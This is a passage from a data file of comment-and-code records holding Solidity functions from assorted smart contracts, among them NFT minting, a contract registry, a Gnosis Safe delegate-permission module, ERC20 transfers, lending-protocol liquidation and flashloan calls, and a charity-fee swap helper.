require(signer.isValidSignatureNow(keccak256(abi.encodePacked(amount, msg.sender, totalPrice, nonce)), signature), \"WabiStore: Invalid signature\");\r\n _nonceSpended[nonce] = true;\r\n require(msg.value >= totalPrice, \"WabiStore: msg.value is less than total price\");\r\n wabiPunks.mint(amount, msg.sender);\r\n }", "version": "0.8.7"} {"comment": "/**\n \t @dev only whitelisted can buy, maximum 1\n \t @param id - the ID of the token (eg: 1)\n \t @param proof - merkle proof\n \t */", "function_code": "function presaleBuy(uint256 id, bytes32[] calldata proof) external payable nonReentrant {\n\t\trequire(pricesPresale[id] != 0, \"not live\");\n\t\trequire(pricesPresale[id] == msg.value, \"exact amount needed\");\n\t\trequire(block.timestamp >= presaleStartTime, \"not live\");\n\t\trequire(usedAddresses[msg.sender] + 1 <= 1, \"wallet limit reached\");\n\t\trequire(totalSupply(id) + 1 <= maxSuppliesPresale[id], \"out of stock\");\n\t\trequire(isProofValid(msg.sender, 1, proof), \"invalid proof\");\n\n\t\tusedAddresses[msg.sender] += 1;\n\t\t_mint(msg.sender, id, 1, \"\");\n\t}", "version": "0.8.13"} {"comment": "/**\r\n * ######################\r\n * # private function #\r\n * ######################\r\n */", "function_code": "function toCompare(uint f, uint s) internal view returns (bool) {\r\n\r\n if (admin.compareSymbol == \"-=\") {\r\n\r\n return f > s;\r\n } else if (admin.compareSymbol == \"+=\") {\r\n\r\n return f >= s;\r\n } else {\r\n\r\n return false;\r\n }\r\n }", "version": "0.4.22"} {"comment": "/**\r\n @dev registers a new address for the contract name in the registry\r\n @param _contractName contract name\r\n @param _contractAddress contract address\r\n */", "function_code": "function registerAddress(bytes32 _contractName, address _contractAddress)\r\n public\r\n ownerOnly\r\n validAddress(_contractAddress)\r\n {\r\n require(_contractName.length > 0); // validate input\r\n\r\n if (items[_contractName].contractAddress == address(0)) {\r\n // add the contract name to the name list\r\n uint256 i = contractNames.push(bytes32ToString(_contractName));\r\n // update the item's index in the list\r\n items[_contractName].nameIndex = i - 1;\r\n }\r\n\r\n // update the address in the registry\r\n items[_contractName].contractAddress = _contractAddress;\r\n\r\n // dispatch the address update event\r\n emit AddressUpdate(_contractName, _contractAddress);\r\n }", "version": "0.4.23"} {"comment": "/**\r\n @dev removes an existing contract address from the registry\r\n @param _contractName contract name\r\n */", "function_code": "function unregisterAddress(bytes32 _contractName) public ownerOnly {\r\n require(_contractName.length > 0); // validate input\r\n require(items[_contractName].contractAddress != address(0));\r\n\r\n // remove the address from the registry\r\n items[_contractName].contractAddress = address(0);\r\n\r\n // if there are multiple items in the registry, move the last element to the deleted element's position\r\n // and modify last element's registryItem.nameIndex in the items collection to point to the right position in contractNames\r\n if (contractNames.length > 1) {\r\n string memory lastContractNameString = contractNames[contractNames.length - 1];\r\n uint256 unregisterIndex = items[_contractName].nameIndex;\r\n\r\n contractNames[unregisterIndex] = lastContractNameString;\r\n bytes32 lastContractName = stringToBytes32(lastContractNameString);\r\n RegistryItem storage registryItem = items[lastContractName];\r\n registryItem.nameIndex = unregisterIndex;\r\n }\r\n\r\n // remove the last element from the name list\r\n contractNames.length--;\r\n // zero the deleted element's index\r\n items[_contractName].nameIndex = 0;\r\n\r\n // dispatch the address update event\r\n emit AddressUpdate(_contractName, address(0));\r\n }", "version": "0.4.23"} {"comment": "/// @notice Grant a role to a delegate\n/// @dev Granting a role to a delegate will give delegate permission to call\n/// contract functions associated with the role. Only owner can grant\n/// role and the must be predefined and not granted to the delegate\n/// already. on success, `RoleGranted` event would be fired and\n/// possibly `DelegateAdded` as well if this is the first role being\n/// granted to the delegate.\n/// @param role the role to be granted\n/// @param delegate the delegate to be granted role", "function_code": "function grantRole(bytes32 role, address delegate)\n external\n onlyOwner\n roleDefined(role)\n {\n require(!_hasRole(role, delegate), \"role already granted\");\n\n delegateToRoles[delegate].add(role);\n\n // We need to emit `DelegateAdded` before `RoleGranted` to allow\n // subgraph event handler to process in sensible order.\n if (delegateSet.add(delegate)) {\n emit DelegateAdded(delegate, _msgSender());\n }\n\n emit RoleGranted(role, delegate, _msgSender());\n }", "version": "0.7.6"} {"comment": "/// @notice Revoke a role from a delegate\n/// @dev Revoking a role from a delegate will remove the permission the\n/// delegate has to call contract functions associated with the role.\n/// Only owner can revoke the role. The role has to be predefined and\n/// granted to the delegate before revoking, otherwise the function\n/// will be reverted. `RoleRevoked` event would be fired and possibly\n/// `DelegateRemoved` as well if this is the last role the delegate\n/// owns.\n/// @param role the role to be granted\n/// @param delegate the delegate to be granted role", "function_code": "function revokeRole(bytes32 role, address delegate)\n external\n onlyOwner\n roleDefined(role)\n {\n require(_hasRole(role, delegate), \"role has not been granted\");\n\n delegateToRoles[delegate].remove(role);\n\n // We need to make sure `RoleRevoked` is fired before `DelegateRemoved`\n // to make sure the event handlers in subgraphs are triggered in the\n // right order.\n emit RoleRevoked(role, delegate, _msgSender());\n\n if (delegateToRoles[delegate].length() == 0) {\n delegateSet.remove(delegate);\n emit DelegateRemoved(delegate, _msgSender());\n }\n }", "version": "0.7.6"} {"comment": "/// @notice Batch execute multiple transaction via Gnosis Safe\n/// @dev This is batch version of the `execTransaction` function to allow\n/// the delegates to bundle multiple calls into a single transaction and\n/// sign only once. Batch execute the transactions, one failure cause the\n/// batch reverted. Only delegates are allowed to call this.\n/// @param toList list of contract addresses to be called\n/// @param dataList list of input data associated with each contract call", "function_code": "function batchExecTransactions(\n address[] calldata toList,\n bytes[] calldata dataList\n ) external onlyDelegate {\n require(\n toList.length > 0 && toList.length == dataList.length,\n \"invalid inputs\"\n );\n\n for (uint256 i = 0; i < toList.length; i++) {\n _execTransaction(toList[i], dataList[i]);\n }\n }", "version": "0.7.6"} {"comment": "/// @dev The internal implementation of `execTransaction` and\n/// `batchExecTransactions`, that invokes gnosis safe to forward to\n/// transaction to target contract method `to`::`func`, where `func` is\n/// the function selector contained in first 4 bytes of `data`. The\n/// function checks if the calling delegate has the required permission\n/// to call the designated contract function before invoking Gnosis\n/// Safe.\n/// @param to The target contract to be called by Gnosis Safe\n/// @param data The input data to be called by Gnosis Safe", "function_code": "function _execTransaction(address to, bytes memory data) internal {\n bytes4 selector;\n assembly {\n selector := mload(add(data, 0x20))\n }\n\n require(\n _hasPermission(_msgSender(), to, selector),\n \"permission denied\"\n );\n\n // execute the transaction from Gnosis Safe, note this call will bypass\n // safe owners confirmation.\n require(\n GnosisSafe(payable(owner())).execTransactionFromModule(\n to,\n 0,\n data,\n Enum.Operation.Call\n ),\n \"failed in execution in safe\"\n );\n\n emit ExecTransaction(to, 0, Enum.Operation.Call, data, _msgSender());\n }", "version": "0.7.6"} {"comment": "/// @dev Internal function to check if a delegate has the permission to call a given contract function\n/// @param delegate the delegate to be checked\n/// @param to the target contract\n/// @param selector the function selector of the contract function to be called\n/// @return true|false", "function_code": "function _hasPermission(\n address delegate,\n address to,\n bytes4 selector\n ) internal view returns (bool) {\n bytes32[] memory roles = getRolesByDelegate(delegate);\n EnumerableSet.Bytes32Set storage funcRoles = funcToRoles[to][selector];\n for (uint256 index = 0; index < roles.length; index++) {\n if (funcRoles.contains(roles[index])) {\n return true;\n }\n }\n return false;\n }", "version": "0.7.6"} {"comment": "/// @notice Associate a role with given contract funcs\n/// @dev only owners are allowed to call this function, the given role has\n/// to be predefined. On success, the role will be associated with the\n/// given contract function, `AssocContractFuncs` event will be fired.\n/// @param role the role to be associated\n/// @param _contract the contract address to be associated with the role\n/// @param funcList the list of contract functions to be associated with the role", "function_code": "function assocRoleWithContractFuncs(\n bytes32 role,\n address _contract,\n string[] calldata funcList\n ) external onlyOwner roleDefined(role) {\n require(funcList.length > 0, \"empty funcList\");\n\n for (uint256 index = 0; index < funcList.length; index++) {\n bytes4 funcSelector = bytes4(keccak256(bytes(funcList[index])));\n bytes32 funcSelector32 = bytes32(funcSelector);\n funcToRoles[_contract][funcSelector32].add(role);\n contractToFuncs[_contract].add(funcSelector32);\n }\n\n contractSet.add(_contract);\n\n emit AssocContractFuncs(role, _contract, funcList, _msgSender());\n }", "version": "0.7.6"} {"comment": "/// @notice Dissociate a role from given contract funcs\n/// @dev only owners are allowed to call this function, the given role has\n/// to be predefined. On success, the role will be disassociated from\n/// the given contract function, `DissocContractFuncs` event will be\n/// fired.\n/// @param role the role to be disassociated\n/// @param _contract the contract address to be disassociated from the role\n/// @param funcList the list of contract functions to be disassociated from the role", "function_code": "function dissocRoleFromContractFuncs(\n bytes32 role,\n address _contract,\n string[] calldata funcList\n ) external onlyOwner roleDefined(role) {\n require(funcList.length > 0, \"empty funcList\");\n\n for (uint256 index = 0; index < funcList.length; index++) {\n bytes4 funcSelector = bytes4(keccak256(bytes(funcList[index])));\n bytes32 funcSelector32 = bytes32(funcSelector);\n funcToRoles[_contract][funcSelector32].remove(role);\n\n if (funcToRoles[_contract][funcSelector32].length() <= 0) {\n contractToFuncs[_contract].remove(funcSelector32);\n }\n }\n\n if (contractToFuncs[_contract].length() <= 0) {\n contractSet.remove(_contract);\n }\n\n emit DissocContractFuncs(role, _contract, funcList, _msgSender());\n }", "version": "0.7.6"} {"comment": "/**\n \t @dev everyone can buy\n \t @param qty - the quantity that a user wants to buy\n \t */", "function_code": "function publicBuy(uint256 id, uint256 qty) external payable nonReentrant {\n\t\trequire(prices[id] != 0, \"not live\");\n\t\trequire(prices[id] * qty == msg.value, \"exact amount needed\");\n\t\trequire(qty <= 5, \"max 5 at once\");\n\t\trequire(totalSupply(id) + qty <= maxSupplies[id], \"out of stock\");\n\t\trequire(block.timestamp >= publicStartTime, \"not live\");\n\n\t\t_mint(msg.sender, id, qty, \"\");\n\t}", "version": "0.8.13"} {"comment": "// Operation for multiplication", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.5.2"} {"comment": "// ERC20 Transfer function", "function_code": "function transfer(address _to, uint256 _value) public returns (bool success) {\r\n require(_to != address(0));\r\n require(balanceOf[msg.sender] >= _value);\r\n require(balanceOf[_to].add(_value) >= balanceOf[_to]);\r\n balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n emit Transfer(msg.sender, _to, _value);\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "// ERC20 Transfer from wallet", "function_code": "function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {\r\n require(_from != address(0) && _to != address(0));\r\n require(balanceOf[_from] >= _value);\r\n require(balanceOf[_to].add(_value) >= balanceOf[_to]);\r\n require(allowance[_from][msg.sender] >= _value);\r\n balanceOf[_to] = balanceOf[_to].add(_value);\r\n balanceOf[_from] = balanceOf[_from].sub(_value);\r\n allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);\r\n emit Transfer(_from, _to, _value);\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "// Approve to allow tranfer tokens", "function_code": "function approve(address _spender, uint256 _value) public returns (bool success) {\r\n require(_spender != address(0));\r\n require(_value <= balanceOf[msg.sender]);\r\n require(_value == 0 || allowance[msg.sender][_spender] == 0);\r\n allowance[msg.sender][_spender] = _value;\r\n emit Approval(msg.sender, _spender, _value);\r\n return true;\r\n }", "version": "0.5.2"} {"comment": "/**\r\n * @dev Presale mint\r\n */", "function_code": "function presaleMint(bytes32[] calldata _merkleProof, uint16 _mintAmount)\r\n external\r\n payable\r\n onlyAllowValidCountAndActiveSale(_mintAmount)\r\n {\r\n bytes32 leaf = keccak256(abi.encodePacked(msg.sender));\r\n require(\r\n MerkleProof.verify(_merkleProof, merkleRoot, leaf),\r\n \"Not on the list\"\r\n );\r\n require(costPresale.mul(_mintAmount) == msg.value, \"Wrong amount\");\r\n require(!publicSaleEnabled && presaleEnabled, \"Presale closed\");\r\n require(\r\n addressMints[_msgSender()] + _mintAmount <=\r\n maxTokensPerWalletPresale,\r\n \"Exceeds max\"\r\n );\r\n _mintNFT(_msgSender(), _mintAmount);\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Returns list of token ids owned by address\r\n */", "function_code": "function walletOfOwner(address _owner)\r\n external\r\n view\r\n returns (uint256[] memory)\r\n {\r\n uint256 ownerTokenCount = balanceOf(_owner);\r\n uint256[] memory tokenIds = new uint256[](ownerTokenCount);\r\n uint256 k = 0;\r\n for (uint256 i = 1; i <= totalTokens; i++) {\r\n if (_exists(i) && _owner == ownerOf(i)) {\r\n tokenIds[k] = i;\r\n k++;\r\n }\r\n }\r\n delete k;\r\n return tokenIds;\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Returns the URI to the tokens metadata\r\n */", "function_code": "function tokenURI(uint256 tokenId)\r\n public\r\n view\r\n virtual\r\n override\r\n returns (string memory)\r\n {\r\n require(\r\n _exists(tokenId),\r\n \"ERC721Metadata: URI query for nonexistent token\"\r\n );\r\n\r\n if (revealed == false) {\r\n return _notRevealedURI;\r\n }\r\n\r\n string memory baseURI = _baseURI();\r\n return\r\n bytes(baseURI).length > 0\r\n ? string(\r\n abi.encodePacked(\r\n baseURI,\r\n tokenId.toString(),\r\n _baseExtension\r\n )\r\n )\r\n : \"\";\r\n }", "version": "0.8.9"} {"comment": "/**\r\n * @dev Burn tokens in mutiples of 5\r\n */", "function_code": "function burn(uint256[] memory _tokenIds) external {\r\n require(burnEnabled, \"Burn disabled\");\r\n require(_tokenIds.length % 5 == 0, \"Multiples of 5\");\r\n for (uint256 i = 0; i < _tokenIds.length; i++) {\r\n require(\r\n _isApprovedOrOwner(_msgSender(), _tokenIds[i]),\r\n \"ERC721Burnable: caller is not owner nor approved\"\r\n );\r\n }\r\n require(\r\n totalBurned() + _tokenIds.length <= totalBurnTokens,\r\n \"Exceeds burn limit\"\r\n );\r\n for (uint256 i = 0; i < _tokenIds.length; i++) {\r\n _burn(_tokenIds[i]);\r\n _totalBurnSupply++;\r\n addressBurns[_msgSender()] += 1;\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\r\n \t* @dev Get information for a handler\r\n \t* @param handlerID Handler ID\r\n \t* @return (success or failure, handler address, handler name)\r\n \t*/", "function_code": "function getTokenHandlerInfo(uint256 handlerID) external view returns (bool, address, string memory)\r\n\t{\r\n\t\tbool support;\r\n\t\taddress tokenHandlerAddr;\r\n\t\tstring memory tokenName;\r\n\t\tif (dataStorageInstance.getTokenHandlerSupport(handlerID))\r\n\t\t{\r\n\t\t\ttokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID);\r\n\t\t\tIProxy TokenHandler = IProxy(tokenHandlerAddr);\r\n\t\t\tbytes memory data;\r\n\t\t\t(, data) = TokenHandler.handlerViewProxy(\r\n\t\t\t\tabi.encodeWithSelector(\r\n\t\t\t\t\tIMarketHandler\r\n\t\t\t\t\t.getTokenName.selector\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\ttokenName = abi.decode(data, (string));\r\n\t\t\tsupport = true;\r\n\t\t}\r\n\r\n\t\treturn (support, tokenHandlerAddr, tokenName);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Register a handler\r\n \t* @param handlerID Handler ID and address\r\n \t* @param tokenHandlerAddr The handler address\r\n \t* @return result the setter call in contextSetter contract\r\n \t*/", "function_code": "function handlerRegister(uint256 handlerID, address tokenHandlerAddr, uint256 flashFeeRate, uint256 discountBase) onlyOwner external returns (bool result) {\r\n\t\tbytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\t\tIManagerSlotSetter\r\n\t\t\t\t\t.handlerRegister.selector,\r\n\t\t\t\t\thandlerID, tokenHandlerAddr, flashFeeRate, discountBase\r\n\t\t\t\t);\r\n\r\n\t\t\t(result, ) = slotSetterAddr.delegatecall(callData);\r\n\t\tassert(result);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Update the (SI) rewards for a user\r\n \t* @param userAddr The address of the user\r\n \t* @param callerID The handler ID\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function rewardUpdateOfInAction(address payable userAddr, uint256 callerID) external returns (bool)\r\n\t{\r\n\t\tContractInfo memory handlerInfo;\r\n\t\t(handlerInfo.support, handlerInfo.addr) = dataStorageInstance.getTokenHandlerInfo(callerID);\r\n\t\tif (handlerInfo.support)\r\n\t\t{\r\n\t\t\tIProxy TokenHandler;\r\n\t\t\tTokenHandler = IProxy(handlerInfo.addr);\r\n\t\t\tTokenHandler.siProxy(\r\n\t\t\t\tabi.encodeWithSelector(\r\n\t\t\t\t\tIServiceIncentive\r\n\t\t\t\t\t.updateRewardLane.selector,\r\n\t\t\t\t\tuserAddr\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t}\r\n\r\n\t\treturn true;\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Update interest of a user for a handler (internal)\r\n \t* @param userAddr The user address\r\n \t* @param callerID The handler ID\r\n \t* @param allFlag Flag for the full calculation mode (calculting for all handlers)\r\n \t* @return (uint256, uint256, uint256, uint256, uint256, uint256)\r\n \t*/", "function_code": "function applyInterestHandlers(address payable userAddr, uint256 callerID, bool allFlag) external returns (uint256, uint256, uint256, uint256, uint256, uint256) {\r\n bytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tIHandlerManager\r\n\t\t\t\t.applyInterestHandlers.selector,\r\n\t\t\t\tuserAddr, callerID, allFlag\r\n\t\t\t);\r\n\r\n\t\t(bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData);\r\n assert(result);\r\n\r\n return abi.decode(returnData, (uint256, uint256, uint256, uint256, uint256, uint256));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Claim handler rewards for the user\r\n \t* @param handlerID The ID of claim reward handler\r\n \t* @param userAddr The user address\r\n \t* @return true (TODO: validate results)\r\n \t*/", "function_code": "function claimHandlerReward(uint256 handlerID, address payable userAddr) external returns (uint256) {\r\n\t\tbytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tIHandlerManager\r\n\t\t\t\t.claimHandlerReward.selector,\r\n handlerID, userAddr\r\n\t\t\t);\r\n\r\n\t\t(bool result, bytes memory returnData) = handlerManagerAddr.delegatecall(callData);\r\n assert(result);\r\n\r\n return abi.decode(returnData, (uint256));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the borrow and margin call limits of the user for all handlers\r\n \t* @param userAddr The address of the user\r\n \t* @return userTotalBorrowLimitAsset the sum of borrow limit for all handlers\r\n \t* @return userTotalMarginCallLimitAsset the sume of margin call limit for handlers\r\n \t*/", "function_code": "function getUserLimitIntraAsset(address payable userAddr) external view returns (uint256, uint256)\r\n\t{\r\n\t\tuint256 userTotalBorrowLimitAsset;\r\n\t\tuint256 userTotalMarginCallLimitAsset;\r\n\r\n\t\tfor (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tif (dataStorageInstance.getTokenHandlerSupport(handlerID))\r\n\t\t\t{\r\n\t\t\t\tuint256 depositHandlerAsset;\r\n\t\t\t\tuint256 borrowHandlerAsset;\r\n\t\t\t\t(depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID);\r\n\t\t\t\tuint256 borrowLimit = _getTokenHandlerBorrowLimit(handlerID);\r\n\t\t\t\tuint256 marginCallLimit = _getTokenHandlerMarginCallLimit(handlerID);\r\n\t\t\t\tuint256 userBorrowLimitAsset = depositHandlerAsset.unifiedMul(borrowLimit);\r\n\t\t\t\tuint256 userMarginCallLimitAsset = depositHandlerAsset.unifiedMul(marginCallLimit);\r\n\t\t\t\tuserTotalBorrowLimitAsset = userTotalBorrowLimitAsset.add(userBorrowLimitAsset);\r\n\t\t\t\tuserTotalMarginCallLimitAsset = userTotalMarginCallLimitAsset.add(userMarginCallLimitAsset);\r\n\t\t\t}\r\n\t\t\telse\r\n\t\t\t{\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\r\n\t\t}\r\n\r\n\t\treturn (userTotalBorrowLimitAsset, userTotalMarginCallLimitAsset);\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the maximum allowed amount to borrow of the user from the given handler\r\n \t* @param userAddr The address of the user\r\n \t* @param callerID The target handler to borrow\r\n \t* @return extraCollateralAmount The maximum allowed amount to borrow from\r\n \t the handler.\r\n \t*/", "function_code": "function getUserCollateralizableAmount(address payable userAddr, uint256 callerID) external view returns (uint256)\r\n\t{\r\n\t\tuint256 userTotalBorrowAsset;\r\n\t\tuint256 depositAssetBorrowLimitSum;\r\n\t\tuint256 depositHandlerAsset;\r\n\t\tuint256 borrowHandlerAsset;\r\n\t\tfor (uint256 handlerID; handlerID < tokenHandlerLength; handlerID++)\r\n\t\t{\r\n\t\t\tif (dataStorageInstance.getTokenHandlerSupport(handlerID))\r\n\t\t\t{\r\n\r\n\t\t\t\t(depositHandlerAsset, borrowHandlerAsset) = _getUserIntraHandlerAssetWithInterest(userAddr, handlerID);\r\n\t\t\t\tuserTotalBorrowAsset = userTotalBorrowAsset.add(borrowHandlerAsset);\r\n\t\t\t\tdepositAssetBorrowLimitSum = depositAssetBorrowLimitSum\r\n\t\t\t\t\t\t\t\t\t\t\t\t.add(\r\n\t\t\t\t\t\t\t\t\t\t\t\t\tdepositHandlerAsset\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t.unifiedMul( _getTokenHandlerBorrowLimit(handlerID) )\r\n\t\t\t\t\t\t\t\t\t\t\t\t);\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\tif (depositAssetBorrowLimitSum > userTotalBorrowAsset)\r\n\t\t{\r\n\t\t\treturn depositAssetBorrowLimitSum\r\n\t\t\t\t\t.sub(userTotalBorrowAsset)\r\n\t\t\t\t\t.unifiedDiv( _getTokenHandlerBorrowLimit(callerID) )\r\n\t\t\t\t\t.unifiedDiv( _getTokenHandlerPrice(callerID) );\r\n\t\t}\r\n\t\treturn 0;\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Partial liquidation for a user\r\n \t* @param delinquentBorrower The address of the liquidation target\r\n \t* @param liquidateAmount The amount to liquidate\r\n \t* @param liquidator The address of the liquidator (liquidation operator)\r\n \t* @param liquidateHandlerID The hander ID of the liquidating asset\r\n \t* @param rewardHandlerID The handler ID of the reward token for the liquidator\r\n \t* @return (uint256, uint256, uint256)\r\n \t*/", "function_code": "function partialLiquidationUser(address payable delinquentBorrower, uint256 liquidateAmount, address payable liquidator, uint256 liquidateHandlerID, uint256 rewardHandlerID) onlyLiquidationManager external returns (uint256, uint256, uint256)\r\n\t{\r\n\t\taddress tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(liquidateHandlerID);\r\n\t\tIProxy TokenHandler = IProxy(tokenHandlerAddr);\r\n\t\tbytes memory data;\r\n\r\n\t\tdata = abi.encodeWithSelector(\r\n\t\t\tIMarketHandler\r\n\t\t\t.partialLiquidationUser.selector,\r\n\r\n\t\t\tdelinquentBorrower,\r\n\t\t\tliquidateAmount,\r\n\t\t\tliquidator,\r\n\t\t\trewardHandlerID\r\n\t\t);\r\n\t\t(, data) = TokenHandler.handlerProxy(data);\r\n\r\n\t\treturn abi.decode(data, (uint256, uint256, uint256));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the maximum liquidation reward by checking sufficient reward\r\n \t amount for the liquidator.\r\n \t* @param delinquentBorrower The address of the liquidation target\r\n \t* @param liquidateHandlerID The hander ID of the liquidating asset\r\n \t* @param liquidateAmount The amount to liquidate\r\n \t* @param rewardHandlerID The handler ID of the reward token for the liquidator\r\n \t* @param rewardRatio delinquentBorrowAsset / delinquentDepositAsset\r\n \t* @return The maximum reward token amount for the liquidator\r\n \t*/", "function_code": "function getMaxLiquidationReward(address payable delinquentBorrower, uint256 liquidateHandlerID, uint256 liquidateAmount, uint256 rewardHandlerID, uint256 rewardRatio) external view returns (uint256)\r\n\t{\r\n\t\tuint256 liquidatePrice = _getTokenHandlerPrice(liquidateHandlerID);\r\n\t\tuint256 rewardPrice = _getTokenHandlerPrice(rewardHandlerID);\r\n\t\tuint256 delinquentBorrowerRewardDeposit;\r\n\t\t(delinquentBorrowerRewardDeposit, ) = _getHandlerAmount(delinquentBorrower, rewardHandlerID);\r\n\t\tuint256 rewardAsset = delinquentBorrowerRewardDeposit.unifiedMul(rewardPrice).unifiedMul(rewardRatio);\r\n\t\tif (liquidateAmount.unifiedMul(liquidatePrice) > rewardAsset)\r\n\t\t{\r\n\t\t\treturn rewardAsset.unifiedDiv(liquidatePrice);\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn liquidateAmount;\r\n\t\t}\r\n\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Reward the liquidator\r\n \t* @param delinquentBorrower The address of the liquidation target\r\n \t* @param rewardAmount The amount of reward token\r\n \t* @param liquidator The address of the liquidator (liquidation operator)\r\n \t* @param handlerID The handler ID of the reward token for the liquidator\r\n \t* @return The amount of reward token\r\n \t*/", "function_code": "function partialLiquidationUserReward(address payable delinquentBorrower, uint256 rewardAmount, address payable liquidator, uint256 handlerID) onlyLiquidationManager external returns (uint256)\r\n\t{\r\n\t\taddress tokenHandlerAddr = dataStorageInstance.getTokenHandlerAddr(handlerID);\r\n\t\tIProxy TokenHandler = IProxy(tokenHandlerAddr);\r\n\t\tbytes memory data;\r\n\t\tdata = abi.encodeWithSelector(\r\n\t\t\tIMarketHandler\r\n\t\t\t.partialLiquidationUserReward.selector,\r\n\r\n\t\t\tdelinquentBorrower,\r\n\t\t\trewardAmount,\r\n\t\t\tliquidator\r\n\t\t);\r\n\t\t(, data) = TokenHandler.handlerProxy(data);\r\n\r\n\t\treturn abi.decode(data, (uint256));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n * @dev Execute flashloan contract with delegatecall\r\n * @param handlerID The ID of the token handler to borrow.\r\n * @param receiverAddress The address of receive callback contract\r\n * @param amount The amount of borrow through flashloan\r\n * @param params The encode metadata of user\r\n * @return Whether or not succeed\r\n */", "function_code": "function flashloan(\r\n uint256 handlerID,\r\n address receiverAddress,\r\n uint256 amount,\r\n bytes calldata params\r\n ) external returns (bool) {\r\n bytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tIManagerFlashloan\r\n\t\t\t\t.flashloan.selector,\r\n\t\t\t\thandlerID, receiverAddress, amount, params\r\n\t\t\t);\r\n\r\n (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData);\r\n assert(result);\r\n\r\n return abi.decode(returnData, (bool));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Withdraw accumulated flashloan fee with delegatecall\r\n * @param handlerID The ID of handler with accumulated flashloan fee\r\n * @return Whether or not succeed\r\n */", "function_code": "function withdrawFlashloanFee(\r\n uint256 handlerID\r\n ) external onlyOwner returns (bool) {\r\n \tbytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tIManagerFlashloan\r\n\t\t\t\t.withdrawFlashloanFee.selector,\r\n\t\t\t\thandlerID\r\n\t\t\t);\r\n\r\n\t\t(bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData);\r\n\t\tassert(result);\r\n\r\n\t\treturn abi.decode(returnData, (bool));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * @dev Get flashloan fee for flashloan amount before make product(BiFi-X)\r\n * @param handlerID The ID of handler with accumulated flashloan fee\r\n * @param amount The amount of flashloan amount\r\n * @param bifiAmount The amount of Bifi amount\r\n * @return The amount of fee for flashloan amount\r\n */", "function_code": "function getFeeFromArguments(\r\n uint256 handlerID,\r\n uint256 amount,\r\n uint256 bifiAmount\r\n ) external returns (uint256) {\r\n bytes memory callData = abi.encodeWithSelector(\r\n\t\t\t\tIManagerFlashloan\r\n\t\t\t\t.getFeeFromArguments.selector,\r\n\t\t\t\thandlerID, amount, bifiAmount\r\n\t\t\t);\r\n\r\n (bool result, bytes memory returnData) = flashloanAddr.delegatecall(callData);\r\n assert(result);\r\n\r\n return abi.decode(returnData, (uint256));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n \t* @dev Get the deposit and borrow amount of the user for the handler (internal)\r\n \t* @param userAddr The address of user\r\n \t* @param handlerID The handler ID\r\n \t* @return The deposit and borrow amount\r\n \t*/", "function_code": "function _getHandlerAmount(address payable userAddr, uint256 handlerID) internal view returns (uint256, uint256)\r\n\t{\r\n\t\tIProxy TokenHandler = IProxy(dataStorageInstance.getTokenHandlerAddr(handlerID));\r\n\t\tbytes memory data;\r\n\t\t(, data) = TokenHandler.handlerViewProxy(\r\n\t\t\tabi.encodeWithSelector(\r\n\t\t\t\tIMarketHandler\r\n\t\t\t\t.getUserAmount.selector,\r\n\t\t\t\tuserAddr\r\n\t\t\t)\r\n\t\t);\r\n\t\treturn abi.decode(data, (uint256, uint256));\r\n\t}", "version": "0.6.12"} {"comment": "/**\n * @dev Calculates the fee and takes it, transfers the fee to the charity\n * address and the remains to this contract.\n * emits feeTaken()\n * Then, it checks if there is enough approved for the swap, if not it\n * approves it to the uniswap contract. Emits approvedForTrade if so.\n * @param user: The payer\n * @param token: The token that will be swapped and the fee will be paid\n * in\n * @param totalAmount: The total amount of tokens that will be swapped, will\n * be used to calculate how much the fee will be\n */", "function_code": "function takeFeeAndApprove(address user, IERC20 token, uint256 totalAmount) internal returns (uint256){\n uint256 _feeTaken = (totalAmount / 10000) * _charityFee;\n token.transferFrom(user, address(this), totalAmount - _feeTaken);\n token.transferFrom(user, _charityAddress, _feeTaken);\n if (token.allowance(address(this), address(_uniswapV2Router)) < totalAmount){\n token.approve(address(_uniswapV2Router), 